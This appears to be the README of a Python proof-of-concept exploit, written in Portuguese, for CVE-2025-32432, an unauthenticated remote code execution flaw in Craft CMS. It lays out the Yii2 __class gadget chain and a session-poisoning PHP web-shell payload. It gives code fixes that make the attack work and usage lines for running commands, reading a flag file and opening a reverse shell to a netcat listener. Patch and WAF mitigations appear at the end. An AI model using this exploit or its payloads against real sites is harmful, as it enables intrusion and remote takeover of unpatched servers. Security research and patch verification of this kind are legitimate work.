e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432Exploit em Python para CVE-2025-32432, um RCE não autenticado no Craft CMS via injeção de __class do Yii2, com suporte a execução de comandos e reverse shell.
Severidade: Crítica (CVSS 10.0) Autenticação necessária: Nenhuma Afetado: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Corrigido em: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
AssetsController::actionGenerateTransform() é declarado como allowAnonymous, tornando-o acessível sem autenticação. Ele passa o parâmetro handle controlado pelo usuário diretamente para Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
O contêiner de injeção de dependência do Yii trata duas chaves de array especiais sem qualquer lista de permissões:
| Chave | Comportamento |
|---|---|
__class | Instancia esta classe em vez do tipo declarado |
__construct() | Passa estes valores como argumentos do construtor |
Cadeia de gadgets:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
O envenenamento do arquivo de sessão fecha o ciclo: o manipulador de sessão do PHP grava os valores dos parâmetros GET literalmente em /tmp/sess_<CraftSessionId>. Enviar <?=shell_exec($_GET['cmd']);exit;?> como parâmetro de consulta planta PHP executável em um caminho conhecido e controlado pelo atacante.
A biblioteca requests do Python codifica em URL os caracteres <, >, ?, = antes que cheguem ao servidor. O arquivo de sessão armazena %3C%3Fphp... (inofensivo) em vez de <?php... (executável).
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";
Correção: Aplicar monkey-patch em HTTPConnectionPool._make_request — o ponto final antes da escrita no socket TCP — e chamar urllib.parse.unquote() ali:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before send
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
O Craft CMS define CraftSessionId, não PHPSESSID.
# BROKEN
session_id = session.cookies.get("PHPSESSID") # -> None
# FIXED
session_id = sess.cookies.get("CraftSessionId")
O Craft valida tokens CSRF em todas as ações POST não anônimas. Omitir o token causa 400 Bad Request.
# BROKEN
requests.post(url, json=payload)
# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| Problema | PoCs de envenenamento de log | Sessão (cookie errado) | Sessão (sem CSRF) | Este PoC |
|---|---|---|---|---|
| Codificação de URL | N/A (User-Agent) | QUEBRADO | QUEBRADO | CORRIGIDO com monkey-patch |
| Nome do cookie | N/A | QUEBRADO PHPSESSID | QUEBRADO PHPSESSID | CORRIGIDO CraftSessionId |
| CSRF no disparo | OK | OK | QUEBRADO | CORRIGIDO |
| Saída de log obsoleta; | QUEBRADO | N/A | N/A | N/A |
| Funciona no prefixo /cms | QUEBRADO | QUEBRADO | QUEBRADO | CORRIGIDO |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a PHP reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| Ação | Detalhe |
|---|---|
| Atualizar o Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 valida que o handle implementa ImageTransformerInterface |
| Atualizar o Yii2 | 2.0.50 bloqueia a injeção de __class em Component::__set |
| Regra de WAF | Bloquear __class ou __construct() no corpo da requisição para /actions/assets/generate-transform |
Apenas para testes de segurança autorizados e fins educacionais.